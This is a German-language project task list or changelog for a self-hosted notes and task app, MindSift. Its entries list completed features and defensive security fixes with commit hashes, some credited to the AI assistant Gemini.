|
||||||
|
- Gemini; gemergt in `a044620`, geprüft (Zugriff, Cmd+K, Enter öffnet). Markierungsfarbe in `a62b189` ans Theme angepasst.
|
||||||
|
- [x] **Volltextsuche auf SQLite FTS5 (Full-Text Search) umstellen** *(Commit `71fa53e`)*
|
||||||
|
- Gemini; FTS5 mit Triggern, Backfill, BM25, Snippets, Zugriffsprüfung je Typ; gemergt in `a044620`.
|
||||||
|
- [x] **Vollständige Emoji-Bibliothek für Notizen-Header einbinden** *(Commit `633bd6f`)*
|
||||||
|
- Gemini; `emoji-picker-react` 4.12.0, lazy geladen; gemergt in `a044620`.
|
||||||
|
- [x] **Emoji-Modal für Notiz-Icon responsiv & tastatur-optimiert umbauen** *(Commit `633bd6f`)*
|
||||||
|
- Gemini; mobiles Bottom-Sheet mit Autofokus und großen Touch-Zielen; gemergt in `a044620`.
|
||||||
|
- [x] **Demo-Modus: Automatischer Reset der Datenbank bei jedem Serverstart** *(Commit `9c6598c`)*
|
||||||
|
- Gemini; Reset nur bei aktivem Demo-Modus (getestet), nutzt die gemeinsame Drop-Funktion; gemergt in `a044620`.
|
||||||
|
- [x] **SMTP: `AUTH LOGIN`-Fallback & alternative SASL-Authentifizierung implementieren** *(Commit `d8a16c6`)*
|
||||||
|
- `AUTH LOGIN` direkt, wenn nur LOGIN angeboten wird; nach abgelehntem PLAIN neue Verbindung mit LOGIN (net/smtp schließt nach gescheitertem AUTH). Scheitern beide mit 451, nennt die Meldung beide Versuche und verweist auf das SASL-Backend des Mailservers. Tests mit Fake-Server.
|
||||||
|
- [x] **Markdown-Tree-Import aus ZIP (Obsidian-Vault-Support)** *(Commit `1601a6a`)*
|
||||||
|
- Zwei Wege: `POST /import/mindsift` (JSON-Backup oder MindSift-Archiv, Rundreise inkl. Aufgaben/Listen/Triage) und `POST /import/obsidian` (Vault in eigenen Ordner, Checkboxen bleiben, Tags → #Hashtags). Vorschau mit `?preview=1`, Grenzen gegen ZIP-Bomben und `..`-Pfade, Tests.
|
||||||
|
- [x] **UI für Obsidian- / Markdown-Tree Backup-Export und ZIP-Import integrieren** *(Commit `1601a6a`)*
|
||||||
|
- Export-Button (`e509f68`) und zwei Import-Karten „MindSift-Daten“ / „Obsidian-Vault“ mit Drag & Drop, Vorschau, Bestätigen und Ergebnis (inkl. übersprungener Dateien).
|
||||||
|
- [x] **Mobile Unterstützung für Backup-Download & ZIP-Import** *(Commit `1601a6a`)*
|
||||||
|
- Download hängt den Link ins Dokument und gibt die URL verzögert frei (mobil getestet); Datei-Buttons mit 44 px Touch-Höhe, `accept=".json,.zip"`; Import mobil im Browser geprüft.
|
||||||
|
- [x] **PWA Splash-Screen & Ladebildschirm: Vollflächig Blau mit zentriertem Logo** *(Commit `9bc8716`)*
|
||||||
|
- Manifest mit kurzem Namen und `#2563eb`; blauer HTML-Platzhalter mit Logo in `#root` bis React startet (ohne JS geprüft); `theme-color` startet blau und folgt danach dem Theme. iOS-Startbilder (`apple-touch-startup-image`) gibt es weiterhin nicht.
|
||||||
|
- [x] **Eingabefeld für API-Key-Namen auf mobilen Geräten vergrößern** *(Commit `0e9fd1b`)*
|
||||||
|
- Feld und Button mobil 44 px, Schrift 16 px; Ursache war `flex-1` im untereinander gestapelten Layout, das die Höhe auf den Inhalt schrumpfte.
|
||||||
|
- [x] **Admin-Settings: SMTP-Port-Eingabe reparieren & Typen-Mismatch beheben („Ungültiges JSON“)** *(Commit `a3a7094`)*
|
||||||
|
- Port als Text (nur Ziffern) im Formular, lässt sich leeren; Server akzeptiert Zahl oder Text (`SystemSettings.UnmarshalJSON`), getestet.
|
||||||
|
- [x] **MindSift-Backup-Import: Modus-Auswahl „Hinzufügen“ vs. „Wiederherstellen (Alles überschreiben)“** *(Commit `0e9fd1b`)*
|
||||||
|
- „Hinzufügen“ / „Wiederherstellen“ mit Warnung und Pflicht-Haken; `?mode=restore` löscht die eigenen Daten erst nach vollständiger Prüfung der Datei, in einer Transaktion.
|
||||||
|
- [x] **Gefahrenzone in Benutzereinstellungen: „Alle Daten löschen“ & „Konto löschen“** *(Commit `0e9fd1b`)*
|
||||||
|
- „Daten löschen“ und „Konto löschen“ im Bereich Profil & Sicherheit, beide mit Passwort; Konto-Button für den letzten Admin deaktiviert mit Hinweis; nach Kontolöschung Abmeldung zur Login-Seite.
|
||||||
|
- [x] **Selbstbedienung: Daten löschen & Konto löschen (inkl. Schutz für letzten Admin)** *(Commit `0e9fd1b`)*
|
||||||
|
- `DELETE /user/data`, `DELETE /user/account` (Passwort nötig, 403 für letzten Admin); `PurgeUserData` in einer Transaktion, Aufgaben anderer in eigenen geteilten Listen bleiben deren Aufgaben; auch Admin-Löschung räumt jetzt vollständig auf.
|
||||||
|
- [x] **UI für wiederkehrende Aufgaben (Auswahl & Icon)** *(Commit `588c679`)*
|
||||||
|
- Auswahl im Detail-Fenster (Keine / 🔁 Täglich / Wöchentlich / Monatlich / Jährlich) mit Hinweis; dezentes Wiederholungs-Symbol an Zeilen und Kanban-Karten.
|
||||||
|
- [x] **Wiederkehrende Aufgaben: Automatische Folge-Aufgabe bei Erledigung erzeugen** *(Commit `588c679`)*
|
||||||
|
- Spalte `recurrence`; Abhaken auf allen Wegen (Detail, Liste, Kanban, Notiz-Checkbox) erzeugt die Nachfolgerin mit kopierten Feldern, zurückgesetzten Unteraufgaben und fortgeschriebenem Datum (Monatsende abgefangen), live per `TASK_CREATED`; höchstens eine Nachfolgerin pro Aufgabe; Export/Import behalten die Regel.
|
||||||
|
- [x] **Mobile Eingabe für Fälligkeits-Uhrzeit optimieren** *(Commit `344f5e4`)*
|
||||||
|
- Datum- und Uhrzeitfeld nebeneinander, mobil 44 px hoch mit nativen Pickern; „✕ Uhrzeit“ in der Schnellwahl macht die Aufgabe wieder ganztägig, ✕ entfernt die Fälligkeit.
|
||||||
|
- [x] **Fälligkeiten mit Uhrzeit im Task-Detail-Modal & Aufgabenansichten unterstützen** *(Commit `344f5e4`)*
|
||||||
|
- Format `YYYY-MM-DDTHH:MM` (API nimmt auch Leerzeichen/Sekunden an); Anzeige „Heute, 14:30“, „Morgen“, „Fr., 06.11.“; Überfälliges minutengenau rot; Gruppieren/Sortieren nach lokalem Tag und Uhrzeit (vorher UTC-Datum). Schnellwahl behält die Uhrzeit, Wiederholungen auch, Markdown-Export/-Import ebenso.
|
||||||
|
- [x] **Alarm-System härten: `alarm_sent` zurücksetzen & Fälligkeiten mit Uhrzeit auswerten** *(Commit `344f5e4`)*
|
||||||
|
- Alarm zur Uhrzeit (ganztägig 9:00) minus Vorlaufzeit, Zeitzone `TZ` (Standard Europe/Berlin, tzdata eingebettet); neue Fälligkeit oder Wiederöffnen (Detail, Kanban, Notiz-Checkbox, Triage) setzt `alarm_sent` zurück; Folgeaufgaben starten mit 0. Mails zeigen „30.10.2026, 14:30 Uhr“. Offen in FLAW-12: Backoff bei Fehlern.
|
||||||
|
- [x] **Sicherheitslücke FLAW-04: Fest eincodiertes Fallback-`JWT_SECRET` absichern** *(Commit `4cdbcbd`)*
|
||||||
|
- Ohne `JWT_SECRET` oder mit bekanntem Platzhalter erzeugt der Server einen Zufallswert und speichert ihn als `jwt.secret` (0600) im Datenverzeichnis.
|
||||||
|
- [x] **Sicherheitslücke FLAW-05: SSRF-Schutz für Webhook- und Discord-Alarm-URLs** *(Commit `62463bc`)*
|
||||||
|
- https-Pflicht, Discord nur discord.com/api/webhooks/, eigener Resolver beim Verbinden (localhost/Link-Local/Metadaten immer gesperrt), Heimnetz und http nur mit Admin-Schalter „Alarm-Webhooks ins lokale Netz erlauben“, keine Proxys, max. 3 Weiterleitungen.
|
||||||
|
- [x] **Papierkorb für Notizen: Soft-Delete, Wiederherstellung & endgültiges Löschen** *(Commit `f69f74f`)*
|
||||||
|
- `is_archived` + `archived_at`/`archived_by`; Löschen (auch ganzer Ordner) verschiebt in den Papierkorb; raus aus Baum, Suche, Export, Statistik und für alle Empfänger unsichtbar; Endpunkte `GET/DELETE /documents/trash`, `POST /documents/{id}/restore`, `DELETE /documents/{id}/permanent`; Wiederherstellen legt fehlende Ordner neu an.
|
||||||
|
- [x] **Papierkorb-Ansicht & Wiederherstellung im Workspace (Notizen)** *(Commit `f69f74f`)*
|
||||||
|
- Eintrag mit Zähler unten in der Ordnerleiste; Liste mit Ordner und Löschzeitpunkt, „Wiederherstellen“, „Endgültig löschen“ und „Papierkorb leeren“ jeweils mit zweitem Tipp; Notiz im Papierkorb schreibgeschützt mit Hinweisleiste und „Wiederherstellen“.
|
||||||
|
- [x] **Papierkorb für Notizen im mobilen Workspace integrieren** *(Commit `f69f74f`)*
|
||||||
|
- Menüpunkt „Papierkorb“ mit Zähler im mobilen Menü und in der Ordnerliste; mobile Ansicht mit 44-px-Buttons und Zurück-Pfeil.
|
||||||
|
- [x] **Backlink-Index & Abfrage für Notizen („What links here“)** *(Commit `677fe0f`)*
|
||||||
|
- `GET /documents/{id}/backlinks`: Notizen mit `[[Titel]]` (auch `|Alias`, `#Abschnitt`, Groß/klein egal), nur sichtbare, ohne Papierkorb und die Notiz selbst; bis zu 5 Fundstellen pro Notiz plus `more`.
|
||||||
|
- [x] **Wiki-Style Backlink-Bereich („What links here“) am Notiz-Ende** *(Commit `677fe0f`)*
|
||||||
|
- Einklappbarer Bereich „Verlinkt auf diese Notiz (n)“ am Notiz-Ende mit Icon, Titel, Ordner und hervorgehobenem Link im Bullet; Klick springt direkt zum Bullet; bei 0 ausgeblendet.
|
||||||
|
- [x] **Passwort-Reset per E-Mail: Token-Generierung, Mailversand & Session-Invalidierung** *(Commit `5e20710`)*
|
||||||
|
- Tabelle `password_reset_tokens` (nur SHA-256), Link 1 h und einmal gültig, höchstens alle 2 Min. pro Konto; neutrale Antwort, Versand im Hintergrund; Link nur aus `BASE_URL`; neues Passwort entwertet alle Links und beendet alle Sitzungen. Nur aktiv mit SMTP + gesetzter `BASE_URL`, nicht im Demo-Modus.
|
||||||
|
- [x] **Passwort-Zurücksetzen-Flow im Login-Screen („Passwort vergessen?“)** *(Commit `5e20710`)*
|
||||||
|
- „Passwort vergessen?“ am Passwortfeld (nur wenn verfügbar), Formular mit neutraler Bestätigung; `?resetToken=` öffnet „Neues Passwort festlegen“ (mit Wiederholung), Token verschwindet sofort aus der Adresszeile; danach Hinweis zur Anmeldung, bei abgelaufenem Link „Neuen Link anfordern“.
|
||||||
|
- [x] **PWA Offline-Fähigkeit & App-Shell-Caching (Service Worker & Sync-Queue)** *(Commit `7bba174`)*
|
||||||
|
- Service Worker: Seiten Network-First mit gecachter index.html, Bundles Cache-First, Icons/Manifest SWR, Cache-Versionen; GET-Antworten pro Benutzer in IndexedDB (App startet offline angemeldet); Outbox für erfasste Gedanken und abgehakte Aufgaben/Listeneinträge, gesendet bei `online`, Start und alle 30 s; Banner „Offline · n Änderungen warten“. Im Browser mit Flugmodus geprüft.
|
||||||
|
- [x] **Refactoring FLAW-20: Monolithische Go-Dateien (`server.go` & `sqlite.go`) domänenspezifisch aufteilen** *(Commit `74c394e`)*
|
||||||
|
- Reine Verschiebung per AST-Werkzeug: `storage` → users, apikeys, thoughts (inkl. Alarme), tasklists, documents, folders, tags, lists, teams, system; `api` → handlers_auth/account/thoughts/documents/folders/lists/tasklists/teams/admin/integrations, realtime.go, alarms.go. sqlite.go 637, server.go 460 Zeilen; alle Tests grün.
|
||||||
|
- [x] **Passwortregeln im Frontend härten (Mindestens 8 Zeichen & Validierungshinweise)** *(Commit `b5f926b`)*
|
||||||
|
- Gemeinsame Prüfung `lib/password.ts` in Setup, Registrierung/Einladung, Reset, Profil und Admin (Anlage + Reset) mit eigener Meldung „Das Passwort muss mindestens 8 Zeichen lang sein“ statt Browser-Popup; Platzhalter angepasst.
|
||||||
|
- [x] **Sicherheitslücke FLAW-09: Passwort-Mindestlänge auf 8 Zeichen anheben & zentral validieren** *(Commit `b5f926b`)*
|
||||||
|
- `auth.ValidatePassword` (≥ 8 Zeichen, nicht nur Leerzeichen, ≤ 72 Bytes) in allen sechs Pfaden; bestehende kürzere Passwörter funktionieren beim Login weiter. Nebenbei: Profil/Admin-Reset kürzen das Passwort nicht mehr (Leerzeichen am Rand machten den Login unmöglich). Offen in FLAW-09: Rate-Limit.
|
||||||
|
- [x] **Alarm-Logik härten (FLAW-12): Fehlversuche begrenzen (Max. 3 Versuche bei Ausfall aller Kanäle)** *(Commit `d198281`)*
|
||||||
|
- Spalte `alarm_failures`; nach 3 Durchläufen ohne zustellenden Kanal wird der Alarm aufgegeben (Warnung im Log); Erfolg, neue Fälligkeit oder Wiederöffnen setzen zurück. FLAW-12 damit vollständig behoben.
|
||||||
|
- [x] **Such-Button in der Desktop-Titelleiste als runder Icon-Button (Lupe im Kreis)** *(Commit `6d720c0`)*
|
||||||
|
- Runder Icon-Button nur mit Lupe, Tastenkürzel im Tooltip.
|
||||||
|
- [x] **Header-Navigation: Workspace-Bubble entfernen & Listen-Bubble ergänzen** *(Commit `c4fc455`)*
|
||||||
|
- Neues Feld `listItemsOpenCount` (offene Einträge aller eigenen, direkt und per Gruppe geteilten Listen, mit Test); Akzent-Zähler an Listen in Header und mobiler Leiste, Workspace ohne Zähler; Stats aktualisieren sich bei Listen-Events und nach Löschen.
|
||||||
|
- [x] **Workspace-Tabs: Einheitliche `CountBadge`-Bubbles für To-Dos und Hashtags (Notizen ohne Bubble)** *(Commit `4bf060b`)*
|
||||||
|
- To-Dos und Hashtags mit `CountBadge` auf dem Label, Notizen ohne Zähler.
|
||||||
|
- [x] **Workspace: Lokale Notizen-Suche entfernen bzw. auf globale Spotlight-Suche umstellen** *(Commit `e7851f1`)*
|
||||||
|
- Lokaler Filter entfernt; an seiner Stelle ein Button „Notizen durchsuchen… ⌘K“ (mobil 44 px), der die globale Volltextsuche öffnet.
|
||||||
|
- [x] **Tab-Badges optimieren: Positionierung um ca. 4px nach unten und 4px nach rechts korrigieren** *(Commit `6d6a35d`)*
|
||||||
|
- Alle Tab-Zähler `-top-0.5 -right-2` mit `pr-3` am Label (Header, Aufgabenlisten, Listen, Workspace); geprüft in Dark, Light und mobil; ui-patterns.md angepasst.
|
||||||
|
- [x] **Such-Icon in der Titelleiste: Vollständig kreisrundes Styling (`rounded-full`) sicherstellen** *(Commit `afd3b03`)*
|
||||||
|
- Regel `.bg-panel.border.rounded-full` / `.bg-canvas.border.rounded-full` in index.css: ein explizites `rounded-full` gewinnt jetzt in allen Themes gegen den Theme-Radius (betrifft auch andere runde Buttons/Avatare).
|
||||||
|
- [x] **Demo-Modus: Automatischer 20-Minuten-Reset-Ticker & Reset-Event** *(Commit `6b9eb62`)*
|
||||||
|
- `DEMO_RESET_MINUTES` (Standard 20, 0 = aus); feste IDs der Demo-Konten, damit Sitzungen den Reset überleben; laufende Anfragen sperren den Reset (Streams ausgenommen); `DEMO_RESET` an alle Verbindungen; `/auth/status` liefert `demoNextReset` und `demoResetInSeconds`.
|
||||||
|
- [x] **Demo-Modus: Live-Countdown-Timer & Reset-Banner in der Titelleiste** *(Commit `6b9eb62`)*
|
||||||
|
- „✨ Demo · Reset in MM:SS“ statt der Versionsnummer (Desktop und mobil, Tooltip); nach dem Reset Cache geleert, Ansichten neu geladen, Hinweis „Demo-Instanz wurde zurückgesetzt“; ohne Event fragt die App nach Ablauf selbst nach. Live mit 1-Minuten-Reset geprüft.
|
||||||
|
- [x] **Rate-Limiting & temporäre Kontosperre bei Login-Fehlversuchen (FLAW-09 Abschluss)** *(Commit `11c14fa`)*
|
||||||
|
- Sperre nach Fehlversuchen: Konto + Adresse 3, Konto 20, Adresse 30, je 15 Min., 429 mit Retry-After; so kann ein Angreifer den Admin nicht von außen aussperren. Erfolg bzw. Passwort-Reset heben die Sperre auf. Client-IP nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`, Standard private Netze, `all` = altes Verhalten); `LOGIN_PROTECTION=false` schaltet alles ab.
|
||||||
|
- [x] **API-Key Scopes einschränken & Webhook-Ingest für Triage, Aufgaben und Listeneinträge** *(Commit `5c711c2`)*
|
||||||
|
- Scopes `webhook:triage|task|list` (Standard Triage, alte Keys → Triage); Ingest mit `target` task (optional `taskListId`) und `list_item` (`listId`, nur mit Schreibrecht), 403 ohne Scope; Keys öffnen keine Live-Streams mehr. Nebenbei FLAW-27 behoben (3900c61): Listeneinträge waren ohne Rechteprüfung änderbar.
|
||||||
|
- [x] **API-Key Scopes im Ecosystem-Tab (Auswahl bei Erstellung & Badge-Anzeige)** *(Commit `5c711c2`)*
|
||||||
|
- Die sichtbare Key-Verwaltung lag in den Kontoeinstellungen, `EcosystemView` war toter Code und ist entfernt; neues `ApiKeysPanel` mit Scope-Auswahl (mind. einer), Badges je Key, Simulator für Inbox/Aufgabe/Listeneintrag und Beispielen mit `X-API-Key`-Header.
|
||||||
|
- [x] **Automatische Server- & Benutzer-Backups (Backlog / Später geplant)** *(Commit `c97765e, 64e077d`)*
|
||||||
|
- Admin: Schalter, Uhrzeit, Aufbewahrung (Standard 03:00, 3 Tage), Liste, Download, „Jetzt sichern“; täglich DB-Abzug (`VACUUM INTO`, gzip) und ein ZIP je Benutzer unter `backups/`, verpasste Läufe werden nachgeholt. Benutzer: eigene Server-Backups herunterladen oder einspielen (ersetzen/hinzufügen, nach Bereichen Notizen/Aufgaben/Listen/Inbox/Themes); Import mit derselben Bereichsauswahl; Themes jetzt in Export/Import.
|
||||||
|
- [x] **Quick-Add FAB: Hold-to-Record Sprachaufnahme mit Swipe-to-Cancel** *(Commit `eabb018, 3739872`)*
|
||||||
|
- Von Gemini umgesetzt (HoldToRecordFab: Tippen öffnet wie bisher, Halten nimmt per Spracherkennung auf und speichert in die Inbox, nach oben ziehen bricht ab, Rückfall ohne Spracherkennung, Tests). Nachgebessert: Bedienung per Tastatur/Screenreader, Erfolgsmeldung erst nach dem Speichern, Randfarbe im Abbruch-Zustand.
|
||||||
|
- [x] **Sicherheit S1: Sichere Links & Sicherheits-Header (FLAW-28, FLAW-29)** *(Commit `b2ecda9`)*
|
||||||
|
- Links nur `http`/`https`/`mailto` (`safeHref`); CSP, `X-Frame-Options`, `nosniff`, `Referrer-Policy`, `Permissions-Policy`; Inline-Scripts der Startseite in Dateien verschoben.
|
||||||
|
- [x] **Sicherheit S2: Serverseitige Sitzungen & aktuelles Passwort (FLAW-30, FLAW-31)** *(Commit `1af3a6e`)*
|
||||||
|
- Tabelle `sessions` (ersetzt `revoked_tokens`), gleitend 30 Tage, Token-Erneuerung über `X-Session-Token`; Geräteliste mit Einzel-Abmelden im Profil; Passwort/E-Mail nur mit aktuellem Passwort, Hinweismail an alte Adresse. Upgrade meldet alle einmal ab.
|
||||||
|
- [x] **Sicherheit S3: Längere IDs, Einladungscodes, Rate-Limits (FLAW-32, FLAW-39, FLAW-40)** *(Commit `3709282`)*
|
||||||
|
- IDs 96 Bit, Codes `INV-XXXXX-…` mit 100 Bit; Registrierung 20 und „Passwort vergessen“ 10 Anfragen pro Adresse in 15 Min.; Einladung wird vor dem Konto atomar beansprucht.
|
||||||
|
- [x] **Sicherheit S4: Demo, SMTP-Passwort, Limits, Backups, Downloads (FLAW-33 bis FLAW-38)** *(Commit `9d96981`)*
|
||||||
|
- Demo verschickt nichts und schützt die gemeinsamen Konten (403 „In der Demo deaktiviert“, Hinweise in der UI); SMTP-Passwort nie an den Browser; `?token=` nur API-Keys; 2-MB-Körperlimit; Konto löschen entfernt Server-Backups; 30 Min. für große Downloads/Importe.
|
||||||
|
- [x] **Triage: Listenauswahl überspringen, wenn es nur eine beschreibbare Liste gibt** *(Commit `3a27a37`, gemergt in `ef16778`)*
|
||||||
|
- Von Gemini umgesetzt (Desktop-Button „Auf ‹Liste›“, mobiles Aktions-Sheet, Warteschlange, Schnellerfassung; nur lesbar geteilte Listen ausgeblendet; Tests). Nachgebessert: `useMemo` für die Listenfilterung in der Schnellerfassung. Release v0.6.0.
|
||||||
|
- [x] **Serverseitige Whisper-Anbindung (ENV-Konfiguration, `/api/v1/voice/transcribe`, Compose-Dienst)** *(Commit `7801cd1`)*
|
||||||
|
- Abweichend vom ursprünglichen Entwurf nur per ENV (`STT_URL`, `STT_MODEL`, `STT_LANGUAGE`, `STT_API_KEY`, `STT_DISABLED`, Schutzwerte `STT_MAX_SECONDS`, `STT_MAX_UPLOAD_MB`, `STT_MAX_PARALLEL`, `STT_PER_USER_PER_HOUR`, `STT_TIMEOUT_SECONDS`); URL gesetzt = Server-Modus, Demo immer Browser. Admin zeigt nur eine Statuskarte mit Testaufnahme. Compose-Profil `whisper` (speaches 0.8.3-cpu, Modelle in `./whisper`, UID 1000); MindSift stößt den Modell-Download selbst an. Echt getestet mit speaches (tiny/small/large-v3-turbo).
|
||||||
|
- [x] **Spracheingabe im Frontend auf den Server-Modus umstellen (V2)** *(Commit `7fa21e4`)*
|
||||||
|
- Gemeinsamer Hook `useVoiceInput` + `VoiceWave` für Quick-Dump-Leiste, mobiles Erfassen-Sheet und Halte-Knopf; Server-Modus mit MediaRecorder, echten Pegel-Wellen und „Wird erkannt…“, Browser-Modus wie bisher, Mikrofon ausgeblendet bei `off`/ohne Unterstützung. Mit speaches im Browser geprüft (Desktop, Handy halten, Handy-Sheet).
|
||||||
|
- [x] **Workspace-Sidebar: Cleanes Datei-Explorer-Layout ohne Sektions-Überschriften** *(Commit `9f3c78d, gemergt a9d0e49`)*
|
||||||
|
- Von Gemini 3.8 umgesetzt: keine Überschriften mehr, angeheftete Notizen oben (mit kleinem Pin, Trenner), darunter Ordner und Notizen der Hauptebene; angeheftete Root-Notizen nicht doppelt; Tests.
|
||||||
|
- [x] **Workspace `/code`-Block: Sprachauswahl & Live-Syntax-Highlighting im VSCodium / VS-Code-Stil** *(Commit `ff53f06, gemergt 9124809, Fix cc68d3f`)*
|
||||||
|
- Von Gemini 4 umgesetzt: CodeBlockEditor mit Sprachauswahl (~50 Sprachen, nachgeladen), Live-Highlighting als Overlay, Kopieren/Als Text, Tab/Shift+Tab, `/code yaml` und ```yaml; Farben als Theme-Variablen (Dark+/Light+) in allen Themes. Nachgebessert: Fokus blieb nach der Umwandlung nicht im Block (Tippen löste App-Kürzel aus).
|
||||||
|
- [x] **Docker-Setup vereinfachen: Whisper-Service auskommentieren statt `COMPOSE_PROFILES=whisper`** *(Commit `e385a44`)*
|
||||||
|
- Profil entfernt; whisper-Block in docker-compose.yml auskommentiert mit Schritt-für-Schritt-Anleitung darüber (Rauten entfernen, STT_URL setzen, Ordner für UID 1000 anlegen); eingeschaltet als gültiges YAML geprüft. README, Architektur-Doku und CHANGELOG angepasst.
|
||||||
|
- [x] **Docker-Umgebung: Erklärungskommentare der Variablen von `docker-compose.yml` nach `.env.example` verschieben** *(Commit `e385a44`)*
|
||||||
|
- .env.example komplett auf Deutsch kommentiert (Funktion, Standard, Einheiten, Auswahl), nach Themen gegliedert; docker-compose.yml nur noch Zuordnungen mit Verweis oben auf .env/.env.example. Nebenbei: TZ, TRUSTED_PROXIES, LOGIN_PROTECTION, DEMO_RESET_MINUTES, LEGAL_*_CONTENT wurden vorher gar nicht durchgereicht.
|
||||||
|
- [x] **Medien in Notizen: Ablage im Backend (M1)** *(Commit `177fa49`)*
|
||||||
|
- Tabelle `media`, Dateien in `data/media/<docId>/`; Upload mit Schreibrecht, Abruf mit Leserecht (auch kopierte Blöcke), Format am Inhalt erkannt (kein SVG), externe Bilder per SSRF-geschütztem Kopieren; Verweis im Blockinhalt (`media:<id>`), daher keine Änderung am Sync-Modell; Aufräumen nach 24 h ohne Verweis; Grenzen `MEDIA_*`.
|
||||||
|
- [x] **`/bild` (M2)** *(Commit `e8fa14a`)*
|
||||||
|
- Nur im leeren Punkt; Auswahl inline (Datei, Kamera, Drag & Drop, Strg+V, Link), Esc bricht ab; Browser verkleinert auf 2048 px und speichert WebP (EXIF/GPS entfällt); Vollbild und Beschriftung.
|
||||||
|
- [x] **`/audio` (M3)** *(Commit `3f5e3b2`)*
|
||||||
|
- Bereit-Bubble mit grünem Mikrofon, Aufnahme rot mit Live-Wellen links und Zeit, danach Inline-Player; Datei-Upload; WebM-Dauer-Fix; „Transkribieren“ mit eigener Spracherkennung.
|
||||||
|
- [x] **`/diktat` (M4)** *(Commit `3f2bc96`)*
|
||||||
|
- Startet sofort, vollflächiger Wellen-Button mit halbtransparentem „Stopp“, Text landet als normaler Text im Punkt; nur angeboten, wenn Spracheingabe verfügbar.
|
||||||
|
- [x] **Medien in Backup, Export und Import (M6)** *(Commit `1f63e08`)*
|
||||||
|
- Backup-ZIP mit `media/`, Markdown-Archiv mit `attachments/` (relative Einbettung), Rück-Import mit neuen IDs; Obsidian-Import übernimmt eingebettete Bilder/Audio, ungenutzte Dateien als übersprungen gemeldet.
|
||||||
|
- [x] **Workspace Notizen-Editor: Mobiles Padding reduzieren & horizontales Ausweichen bei tiefen Einrückungen** *(Commit `83408d1`)*
|
||||||
|
- Rand mobil pl-2/pr-1, Einrückung per CSS-Variable 14 px (ab sm 22 px), Zeilen-Mindestbreite 14rem mobil mit seitlichem Scrollen des Inhalts; zusätzlich Zoom-Knopf mobil ausgeblendet (Tipp auf den Punkt zoomt) und Löschen nur in der aktiven Zeile. Gemessen: schmalste Textzeile 128 → 244 px (Demo-Notiz), bei 16 Ebenen ≥ 174 px.
|
||||||
|
- [x] **Slash-Befehle vereinheitlichen: `/image` statt `/bild`, knappe Texte & Layout-Fix im Menü** *(Commit `1632dd2`)*
|
||||||
|
- /image statt /bild (Aliase bild, foto; auch sprachnotiz, dictate), kurze Texte, Menü w-72, Label nowrap, Beschreibung truncate rechtsbündig. /diktat bleibt deutsch wie im ursprünglichen Auftrag.
|
||||||
|
- [x] **Admin-Einstellungen: E-Mail-Absendername (`SMTP_FROM_NAME`) konfigurierbar machen & Vorbelegung** *(Commit `56c1fa0`)*
|
||||||
|
- Feld „Absender-Name (SMTP_FROM_NAME)“ mit Platzhalter MindSift und Hinweis; Platzhalter der Absenderadresse auf reine Adresse geändert.
|
||||||
|
- [x] **E-Mail-Absendername unterstützen (`SMTP_FROM_NAME` & Default „MindSift“)** *(Commit `56c1fa0`)*
|
||||||
|
- SMTP_FROM_NAME (Standard MindSift) in Config, system_settings (smtp_from_name), Compose und .env.example; reine Adresse bekommt den Namen im From-Header, ein Name in SMTP_FROM hat Vorrang, MAIL FROM bleibt die reine Adresse; Test mit Umlauten.
|
||||||
|
- [x] **Link-Vorschau über Punkten mit Web-Adresse (M5)** *(Commit `4c26eb2`)*
|
||||||
|
- Server holt https-Seiten SSRF-geschützt, liest og:/twitter:-Tags, Titel, Beschreibung, Icon, Bild; Cache 7 Tage in `link_previews`; kompakte Karte über dem Punkt, ✕ macht `[Titel](url)` daraus (synchronisiert), globaler Schalter unter Darstellung; in der Demo aus. Echt getestet mit Wikipedia und go.dev (Handy und Desktop).
|
||||||
|
- [x] **Outliner: Bulletpoint (inkl. Unterbaum) in eigenständige Notiz umwandeln** *(Commit `4d1b37c`)*
|
||||||
|
- Knopf am Punkt (Desktop) und /extract bzw. /notiz; serverseitig über das Operationsprotokoll (offene Editoren folgen live); Titel ohne Hashtags (bleiben am Link), eindeutig mit (2); gleicher Ordner; Freigaben übernommen, fremder Besitzer bekommt Schreibrecht; Hinweis mit „Öffnen“.
|
||||||
|
- [x] **Notizen zusammenführen (Merge Documents, z. B. per Drag & Drop in der Sidebar)** *(Commit `4d1b37c`)*
|
||||||
|
- Drag & Drop Notiz auf Notiz in der Sidebar (Hervorhebung) oder Knopf im Notizkopf mit Suche; Bestätigungsdialog; Quelle (muss eigen sein) als h2-Abschnitt mit Unterpunkten angehängt, Quelle in den Papierkorb; Toast mit vollständigem Rückgängig (Abschnitt weg, Quelle zurück). Medien bleiben erreichbar.
|
||||||
|
- [x] **Link-Vorschau nur bei `/link` im leeren Bulletpoint & Slash-Menü Schließen-Verhalten reparieren** *(Commit `446f8e4`)*
|
||||||
|
- Gemini 4: Karte nur bei Punkt = genau eine https-Adresse (bzw. /link in leerem Punkt); Slash-Menü nur am Anfang/nach Leerzeichen, Esc/Backspace schließen.
|
||||||
|
- [x] **Workspace Outliner: Enter-Sperre am letzten leeren Bulletpoint entfernen** *(Commit `446f8e4`)*
|
||||||
|
- Gemini 4: Sperre entfernt, Enter am Ende legt neuen Punkt an.
|
||||||
|
- [x] **Slash-Befehls-Menü (`/`): Ausgewähltes Element bei Pfeiltastennavigation automatisch ins Sichtfeld scrollen** *(Commit `446f8e4`)*
|
||||||
|
- Gemini 4: aktiver Eintrag scrollt per scrollIntoView mit.
|
||||||
|
- [x] **`/diktat`: Live-Mitschreiben & kein vorzeitiger Abbruch bei Sprechpausen** *(Commit `6795edb`)*
|
||||||
|
- Gemini 4: Option live in useVoiceInput; Browser-Neustart bei Pausen, Server-Modus in Stücken (eigener Recorder je Abschnitt), mitwachsender Text und Zeit.
|
||||||
|
- [x] **`/extract` Race-Condition & Konflikt hinter Proxys/Polling beheben (Lokale Link-Ersetzung)** *(Commit `362dd3b`)*
|
||||||
|
- Umbau: Server legt nur die Notiz an und liefert den Link, der Editor ersetzt den Ast selbst über die Sync-Engine (keine Konflikte, sofort sichtbar, auch bei Polling).
|
||||||
|
- [x] **Workspace-Sidebar: Ausgelagerte Notiz (`/extract`) sofort ohne Tab-Wechsel in der Dateiliste anzeigen** *(Commit `362dd3b`)*
|
||||||
|
- onDocCreated/onDocRemoved vom Editor an WorkspaceView, Ordner wird aufgeklappt.
|
||||||
|
- [x] **Rückgängig-Funktion (Strg+Z / Undo) für ausgelagerte Notizen (`/extract`)** *(Commit `362dd3b`)*
|
||||||
|
- Strg+Z der Engine holt den Ast zurück, POST /documents/{id}/extract/undo legt die neue Notiz in den Papierkorb; Toast mit Öffnen und Rückgängig.
|
||||||
|
